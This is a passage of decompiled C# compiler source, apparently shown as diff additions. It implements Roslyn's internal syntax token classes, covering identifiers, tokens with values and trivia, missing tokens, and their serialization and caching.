MissingTokenWithTrivia(SyntaxKind kind, GreenNode leading, GreenNode trailing) + : base(kind, leading, trailing) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags & 0xDF); + } + + internal MissingTokenWithTrivia(SyntaxKind kind, GreenNode leading, GreenNode trailing, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(kind, leading, trailing, diagnostics, annotations) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags & 0xDF); + } + + internal MissingTokenWithTrivia(ObjectReader reader) + : base(reader) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags & 0xDF); + } + + static MissingTokenWithTrivia() + { + ObjectBinder.RegisterTypeReader(typeof(MissingTokenWithTrivia), (Func)((ObjectReader r) => (IObjectWritable)(object)new MissingTokenWithTrivia(r))); + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new MissingTokenWithTrivia(base.Kind, trivia, TrailingField, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new MissingTokenWithTrivia(base.Kind, LeadingField, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new MissingTokenWithTrivia(base.Kind, LeadingField, TrailingField, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new MissingTokenWithTrivia(base.Kind, LeadingField, TrailingField, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal class SyntaxIdentifier : SyntaxToken + { + protected readonly string TextField; + + public override string Text => TextField; + + public override object Value => TextField; + + public override string ValueText => TextField; + + static SyntaxIdentifier() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxIdentifier), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxIdentifier(r))); + } + + internal SyntaxIdentifier(string text) + : base(SyntaxKind.IdentifierToken, text.Length) + { + TextField = text; + } + + internal SyntaxIdentifier(string text, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(SyntaxKind.IdentifierToken, text.Length, diagnostics, annotations) + { + TextField = text; + } + + internal SyntaxIdentifier(ObjectReader reader) + : base(reader) + { + TextField = reader.ReadString(); + ((GreenNode)this).FullWidth = TextField.Length; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteString(TextField); + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrivia(base.Kind, TextField, TextField, trivia, null, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrivia(base.Kind, TextField, TextField, null, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxIdentifier(Text, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxIdentifier(Text, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal class SyntaxIdentifierExtended : SyntaxIdentifier + { + protected readonly SyntaxKind contextualKind; + + protected readonly string valueText; + + public override SyntaxKind ContextualKind => contextualKind; + + public override string ValueText => valueText; + + public override object Value => valueText; + + internal SyntaxIdentifierExtended(SyntaxKind contextualKind, string text, string valueText) + : base(text) + { + this.contextualKind = contextualKind; + this.valueText = valueText; + } + + internal SyntaxIdentifierExtended(SyntaxKind contextualKind, string text, string valueText, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(text, diagnostics, annotations) + { + this.contextualKind = contextualKind; + this.valueText = valueText; + } + + internal SyntaxIdentifierExtended(ObjectReader reader) + : base(reader) + { + contextualKind = (SyntaxKind)reader.ReadInt16(); + valueText = reader.ReadString(); + } + + static SyntaxIdentifierExtended() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxIdentifierExtended), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxIdentifierExtended(r))); + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteInt16((short)contextualKind); + writer.WriteString(valueText); + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrivia(contextualKind, TextField, valueText, trivia, null, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrivia(contextualKind, TextField, valueText, null, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxIdentifierExtended(contextualKind, TextField, valueText, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxIdentifierExtended(contextualKind, TextField, valueText, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal class SyntaxIdentifierWithTrailingTrivia : SyntaxIdentifier + { + private readonly GreenNode _trailing; + + internal SyntaxIdentifierWithTrailingTrivia(string text, GreenNode trailing) + : base(text) + { + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + _trailing = trailing; + } + } + + internal SyntaxIdentifierWithTrailingTrivia(string text, GreenNode trailing, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(text, diagnostics, annotations) + { + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + _trailing = trailing; + } + } + + internal SyntaxIdentifierWithTrailingTrivia(ObjectReader reader) + : base(reader) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Expected O, but got Unknown + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + _trailing = val; + } + } + + static SyntaxIdentifierWithTrailingTrivia() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxIdentifierWithTrailingTrivia), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxIdentifierWithTrailingTrivia(r))); + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)_trailing); + } + + public override GreenNode GetTrailingTrivia() + { + return _trailing; + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrivia(base.Kind, TextField, TextField, trivia, _trailing, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrailingTrivia(TextField, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxIdentifierWithTrailingTrivia(TextField, _trailing, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxIdentifierWithTrailingTrivia(TextField, _trailing, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal class SyntaxIdentifierWithTrivia : SyntaxIdentifierExtended + { + private readonly GreenNode _leading; + + private readonly GreenNode _trailing; + + internal SyntaxIdentifierWithTrivia(SyntaxKind contextualKind, string text, string valueText, GreenNode leading, GreenNode trailing) + : base(contextualKind, text, valueText) + { + if (leading != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(leading); + _leading = leading; + } + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + _trailing = trailing; + } + } + + internal SyntaxIdentifierWithTrivia(SyntaxKind contextualKind, string text, string valueText, GreenNode leading, GreenNode trailing, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(contextualKind, text, valueText, diagnostics, annotations) + { + if (leading != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(leading); + _leading = leading; + } + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + _trailing = trailing; + } + } + + internal SyntaxIdentifierWithTrivia(ObjectReader reader) + : base(reader) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Expected O, but got Unknown + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + _leading = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + _trailing = val2; + ((GreenNode)this).AdjustFlagsAndWidth(val2); + } + } + + static SyntaxIdentifierWithTrivia() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxIdentifierWithTrivia), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxIdentifierWithTrivia(r))); + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)_leading); + writer.WriteValue((IObjectWritable)(object)_trailing); + } + + public override GreenNode GetLeadingTrivia() + { + return _leading; + } + + public override GreenNode GetTrailingTrivia() + { + return _trailing; + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrivia(contextualKind, TextField, valueText, trivia, _trailing, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxIdentifierWithTrivia(contextualKind, TextField, valueText, _leading, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxIdentifierWithTrivia(contextualKind, TextField, valueText, _leading, _trailing, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxIdentifierWithTrivia(contextualKind, TextField, valueText, _leading, _trailing, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal class SyntaxTokenWithValue : SyntaxToken + { + protected readonly string TextField; + + protected readonly T ValueField; + + public override string Text => TextField; + + public override object Value => ValueField; + + public override string ValueText => Convert.ToString(ValueField, CultureInfo.InvariantCulture); + + internal SyntaxTokenWithValue(SyntaxKind kind, string text, T value) + : base(kind, text.Length) + { + TextField = text; + ValueField = value; + } + + internal SyntaxTokenWithValue(SyntaxKind kind, string text, T value, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(kind, text.Length, diagnostics, annotations) + { + TextField = text; + ValueField = value; + } + + internal SyntaxTokenWithValue(ObjectReader reader) + : base(reader) + { + TextField = reader.ReadString(); + ((GreenNode)this).FullWidth = TextField.Length; + ValueField = (T)reader.ReadValue(); + } + + static SyntaxTokenWithValue() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxTokenWithValue), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxTokenWithValue(r))); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteString(TextField); + writer.WriteValue((object)ValueField); + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithValueAndTrivia(base.Kind, TextField, ValueField, trivia, null, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithValueAndTrivia(base.Kind, TextField, ValueField, null, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxTokenWithValue(base.Kind, TextField, ValueField, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxTokenWithValue(base.Kind, TextField, ValueField, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal class SyntaxTokenWithValueAndTrivia : SyntaxTokenWithValue + { + private readonly GreenNode _leading; + + private readonly GreenNode _trailing; + + static SyntaxTokenWithValueAndTrivia() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxTokenWithValueAndTrivia), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxTokenWithValueAndTrivia(r))); + } + + internal SyntaxTokenWithValueAndTrivia(SyntaxKind kind, string text, T value, GreenNode leading, GreenNode trailing) + : base(kind, text, value) + { + if (leading != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(leading); + _leading = leading; + } + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + _trailing = trailing; + } + } + + internal SyntaxTokenWithValueAndTrivia(SyntaxKind kind, string text, T value, GreenNode leading, GreenNode trailing, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(kind, text, value, diagnostics, annotations) + { + if (leading != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(leading); + _leading = leading; + } + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + _trailing = trailing; + } + } + + internal SyntaxTokenWithValueAndTrivia(ObjectReader reader) + : base(reader) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Expected O, but got Unknown + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + _leading = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + _trailing = val2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + base.WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)_leading); + writer.WriteValue((IObjectWritable)(object)_trailing); + } + + public override GreenNode GetLeadingTrivia() + { + return _leading; + } + + public override GreenNode GetTrailingTrivia() + { + return _trailing; + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithValueAndTrivia(base.Kind, TextField, ValueField, trivia, _trailing, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithValueAndTrivia(base.Kind, TextField, ValueField, _leading, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxTokenWithValueAndTrivia(base.Kind, TextField, ValueField, _leading, _trailing, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxTokenWithValueAndTrivia(base.Kind, TextField, ValueField, _leading, _trailing, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal class SyntaxTokenWithTrivia : SyntaxToken + { + protected readonly GreenNode LeadingField; + + protected readonly GreenNode TrailingField; + + static SyntaxTokenWithTrivia() + { + ObjectBinder.RegisterTypeReader(typeof(SyntaxTokenWithTrivia), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxTokenWithTrivia(r))); + } + + internal SyntaxTokenWithTrivia(SyntaxKind kind, GreenNode leading, GreenNode trailing) + : base(kind) + { + if (leading != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(leading); + LeadingField = leading; + } + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + TrailingField = trailing; + } + } + + internal SyntaxTokenWithTrivia(SyntaxKind kind, GreenNode leading, GreenNode trailing, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(kind, diagnostics, annotations) + { + if (leading != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(leading); + LeadingField = leading; + } + if (trailing != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(trailing); + TrailingField = trailing; + } + } + + internal SyntaxTokenWithTrivia(ObjectReader reader) + : base(reader) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Expected O, but got Unknown + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Expected O, but got Unknown + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + LeadingField = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + TrailingField = val2; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)LeadingField); + writer.WriteValue((IObjectWritable)(object)TrailingField); + } + + public override GreenNode GetLeadingTrivia() + { + return LeadingField; + } + + public override GreenNode GetTrailingTrivia() + { + return TrailingField; + } + + public override SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithTrivia(base.Kind, trivia, TrailingField, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public override SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithTrivia(base.Kind, LeadingField, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxTokenWithTrivia(base.Kind, LeadingField, TrailingField, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxTokenWithTrivia(base.Kind, LeadingField, TrailingField, ((GreenNode)this).GetDiagnostics(), annotations); + } + } + + internal const SyntaxKind FirstTokenWithWellKnownText = SyntaxKind.TildeToken; + + internal const SyntaxKind LastTokenWithWellKnownText = SyntaxKind.EndOfFileToken; + + private static readonly ArrayElement[] s_tokensWithNoTrivia; + + private static readonly ArrayElement[] s_tokensWithElasticTrivia; + + private static readonly ArrayElement[] s_tokensWithSingleTrailingSpace; + + private static readonly ArrayElement[] s_tokensWithSingleTrailingCRLF; + + internal override bool ShouldReuseInSerialization + { + get + { + if (((GreenNode)this).ShouldReuseInSerialization) + { + return ((GreenNode)this).FullWidth < 42; + } + return false; + } + } + + public override bool IsToken => true; + + public virtual SyntaxKind ContextualKind => base.Kind; + + public override int RawContextualKind => (int)ContextualKind; + + public virtual string Text => SyntaxFacts.GetText(base.Kind); + + public virtual object Value => base.Kind switch + { + SyntaxKind.TrueKeyword => Boxes.BoxedTrue, + SyntaxKind.FalseKeyword => Boxes.BoxedFalse, + SyntaxKind.NullKeyword => null, + _ => Text, + }; + + public virtual string ValueText => Text; + + public override int Width => Text.Length; + + internal SyntaxList LeadingTrivia => new SyntaxList(GetLeadingTrivia()); + + internal SyntaxList TrailingTrivia => new SyntaxList(GetTrailingTrivia()); + + internal SyntaxToken(SyntaxKind kind) + : base(kind) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).FullWidth = Text.Length; + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 0x20); + } + + internal SyntaxToken(SyntaxKind kind, DiagnosticInfo[] diagnostics) + : base(kind, diagnostics) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).FullWidth = Text.Length; + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 0x20); + } + + internal SyntaxToken(SyntaxKind kind, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(kind, diagnostics, annotations) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).FullWidth = Text.Length; + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 0x20); + } + + internal SyntaxToken(SyntaxKind kind, int fullWidth) + : base(kind, fullWidth) + { + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 0x20); + } + + internal SyntaxToken(SyntaxKind kind, int fullWidth, DiagnosticInfo[] diagnostics) + : base(kind, diagnostics, fullWidth) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 0x20); + } + + internal SyntaxToken(SyntaxKind kind, int fullWidth, DiagnosticInfo[] diagnostics, SyntaxAnnotation[] annotations) + : base(kind, diagnostics, annotations, fullWidth) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 0x20); + } + + internal SyntaxToken(ObjectReader reader) + : base(reader) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + string text = Text; + if (text != null) + { + ((GreenNode)this).FullWidth = text.Length; + } + ((GreenNode)this).flags = (NodeFlags)(((GreenNode)this).flags | 0x20); + } + + internal override GreenNode GetSlot(int index) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Syntax/InternalSyntax/SyntaxToken.cs", 83); + } + + internal static SyntaxToken Create(SyntaxKind kind) + { + if ((int)kind > 8496) + { + if (!SyntaxFacts.IsAnyToken(kind)) + { + throw new ArgumentException(string.Format(CSharpResources.ThisMethodCanOnlyBeUsedToCreateTokens, kind), "kind"); + } + return CreateMissing(kind, null, null); + } + return s_tokensWithNoTrivia[(uint)kind].Value; + } + + internal static SyntaxToken Create(SyntaxKind kind, GreenNode leading, GreenNode trailing) + { + if ((int)kind > 8496) + { + if (!SyntaxFacts.IsAnyToken(kind)) + { + throw new ArgumentException(string.Format(CSharpResources.ThisMethodCanOnlyBeUsedToCreateTokens, kind), "kind"); + } + return CreateMissing(kind, leading, trailing); + } + if (leading == null) + { + if (trailing == null) + { + return s_tokensWithNoTrivia[(uint)kind].Value; + } + if ((object)trailing == SyntaxFactory.Space) + { + return s_tokensWithSingleTrailingSpace[(uint)kind].Value; + } + if ((object)trailing == SyntaxFactory.CarriageReturnLineFeed) + { + return s_tokensWithSingleTrailingCRLF[(uint)kind].Value; + } + } + if ((object)leading == SyntaxFactory.ElasticZeroSpace && (object)trailing == SyntaxFactory.ElasticZeroSpace) + { + return s_tokensWithElasticTrivia[(uint)kind].Value; + } + return new SyntaxTokenWithTrivia(kind, leading, trailing); + } + + internal static SyntaxToken CreateMissing(SyntaxKind kind, GreenNode leading, GreenNode trailing) + { + return new MissingTokenWithTrivia(kind, leading, trailing); + } + + static SyntaxToken() + { + s_tokensWithNoTrivia = new ArrayElement[8497]; + s_tokensWithElasticTrivia = new ArrayElement[8497]; + s_tokensWithSingleTrailingSpace = new ArrayElement[8497]; + s_tokensWithSingleTrailingCRLF = new ArrayElement[8497]; + ObjectBinder.RegisterTypeReader(typeof(SyntaxToken), (Func)((ObjectReader r) => (IObjectWritable)(object)new SyntaxToken(r))); + SyntaxKind syntaxKind = SyntaxKind.TildeToken; + while ((int)syntaxKind <= 8496) + { + s_tokensWithNoTrivia[(uint)syntaxKind].Value = new SyntaxToken(syntaxKind); + s_tokensWithElasticTrivia[(uint)syntaxKind].Value = new SyntaxTokenWithTrivia(syntaxKind, (GreenNode)(object)SyntaxFactory.ElasticZeroSpace, (GreenNode)(object)SyntaxFactory.ElasticZeroSpace); + s_tokensWithSingleTrailingSpace[(uint)syntaxKind].Value = new SyntaxTokenWithTrivia(syntaxKind, null, (GreenNode)(object)SyntaxFactory.Space); + s_tokensWithSingleTrailingCRLF[(uint)syntaxKind].Value = new SyntaxTokenWithTrivia(syntaxKind, null, (GreenNode)(object)SyntaxFactory.CarriageReturnLineFeed); + syntaxKind++; + } + } + + internal static IEnumerable GetWellKnownTokens() + { + ArrayElement[] array = s_tokensWithNoTrivia; + for (int i = 0; i < array.Length; i++) + { + ArrayElement val = array[i]; + if (val.Value != null) + { + yield return val.Value; + } + } + array = s_tokensWithElasticTrivia; + for (int i = 0; i < array.Length; i++) + { + ArrayElement val2 = array[i]; + if (val2.Value != null) + { + yield return val2.Value; + } + } + array = s_tokensWithSingleTrailingSpace; + for (int i = 0; i < array.Length; i++) + { + ArrayElement val3 = array[i]; + if (val3.Value != null) + { + yield return val3.Value; + } + } + array = s_tokensWithSingleTrailingCRLF; + for (int i = 0; i < array.Length; i++) + { + ArrayElement val4 = array[i]; + if (val4.Value != null) + { + yield return val4.Value; + } + } + } + + internal static SyntaxToken Identifier(string text) + { + return new SyntaxIdentifier(text); + } + + internal static SyntaxToken Identifier(GreenNode leading, string text, GreenNode trailing) + { + if (leading == null) + { + if (trailing == null) + { + return Identifier(text); + } + return new SyntaxIdentifierWithTrailingTrivia(text, trailing); + } + return new SyntaxIdentifierWithTrivia(SyntaxKind.IdentifierToken, text, text, leading, trailing); + } + + internal static SyntaxToken Identifier(SyntaxKind contextualKind, GreenNode leading, string text, string valueText, GreenNode trailing) + { + if (contextualKind == SyntaxKind.IdentifierToken && valueText == text) + { + return Identifier(leading, text, trailing); + } + return new SyntaxIdentifierWithTrivia(contextualKind, text, valueText, leading, trailing); + } + + internal static SyntaxToken WithValue(SyntaxKind kind, string text, T value) + { + return new SyntaxTokenWithValue(kind, text, value); + } + + internal static SyntaxToken WithValue(SyntaxKind kind, GreenNode leading, string text, T value, GreenNode trailing) + { + return new SyntaxTokenWithValueAndTrivia(kind, text, value, leading, trailing); + } + + internal static SyntaxToken StringLiteral(string text) + { + return new SyntaxTokenWithValue(SyntaxKind.StringLiteralToken, text, text); + } + + internal static SyntaxToken StringLiteral(CSharpSyntaxNode leading, string text, CSharpSyntaxNode trailing) + { + return new SyntaxTokenWithValueAndTrivia(SyntaxKind.StringLiteralToken, text, text, (GreenNode)(object)leading, (GreenNode)(object)trailing); + } + + public override string ToString() + { + return Text; + } + + public override object GetValue() + { + return Value; + } + + public override string GetValueText() + { + return ValueText; + } + + public override int GetLeadingTriviaWidth() + { + GreenNode leadingTrivia = GetLeadingTrivia(); + if (leadingTrivia == null) + { + return 0; + } + return leadingTrivia.FullWidth; + } + + public override int GetTrailingTriviaWidth() + { + GreenNode trailingTrivia = GetTrailingTrivia(); + if (trailingTrivia == null) + { + return 0; + } + return trailingTrivia.FullWidth; + } + + public sealed override GreenNode WithLeadingTrivia(GreenNode trivia) + { + return (GreenNode)(object)TokenWithLeadingTrivia(trivia); + } + + public virtual SyntaxToken TokenWithLeadingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithTrivia(base.Kind, trivia, null, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + public sealed override GreenNode WithTrailingTrivia(GreenNode trivia) + { + return (GreenNode)(object)TokenWithTrailingTrivia(trivia); + } + + public virtual SyntaxToken TokenWithTrailingTrivia(GreenNode trivia) + { + return new SyntaxTokenWithTrivia(base.Kind, null, trivia, ((GreenNode)this).GetDiagnostics(), ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[] diagnostics) + { + return (GreenNode)(object)new SyntaxToken(base.Kind, ((GreenNode)this).FullWidth, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[] annotations) + { + return (GreenNode)(object)new SyntaxToken(base.Kind, ((GreenNode)this).FullWidth, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal override DirectiveStack ApplyDirectives(DirectiveStack stack) + { + if (((GreenNode)this).ContainsDirectives) + { + stack = ApplyDirectivesToTrivia(GetLeadingTrivia(), stack); + stack = ApplyDirectivesToTrivia(GetTrailingTrivia(), stack); + } + return stack; + } + + private static DirectiveStack ApplyDirectivesToTrivia(GreenNode triviaList, DirectiveStack stack) + { + if (triviaList != null && triviaList.ContainsDirectives) + { + return CSharpSyntaxNode.ApplyDirectivesToListOrNode(triviaList, stack); + } + return stack; + } + + public override TResult 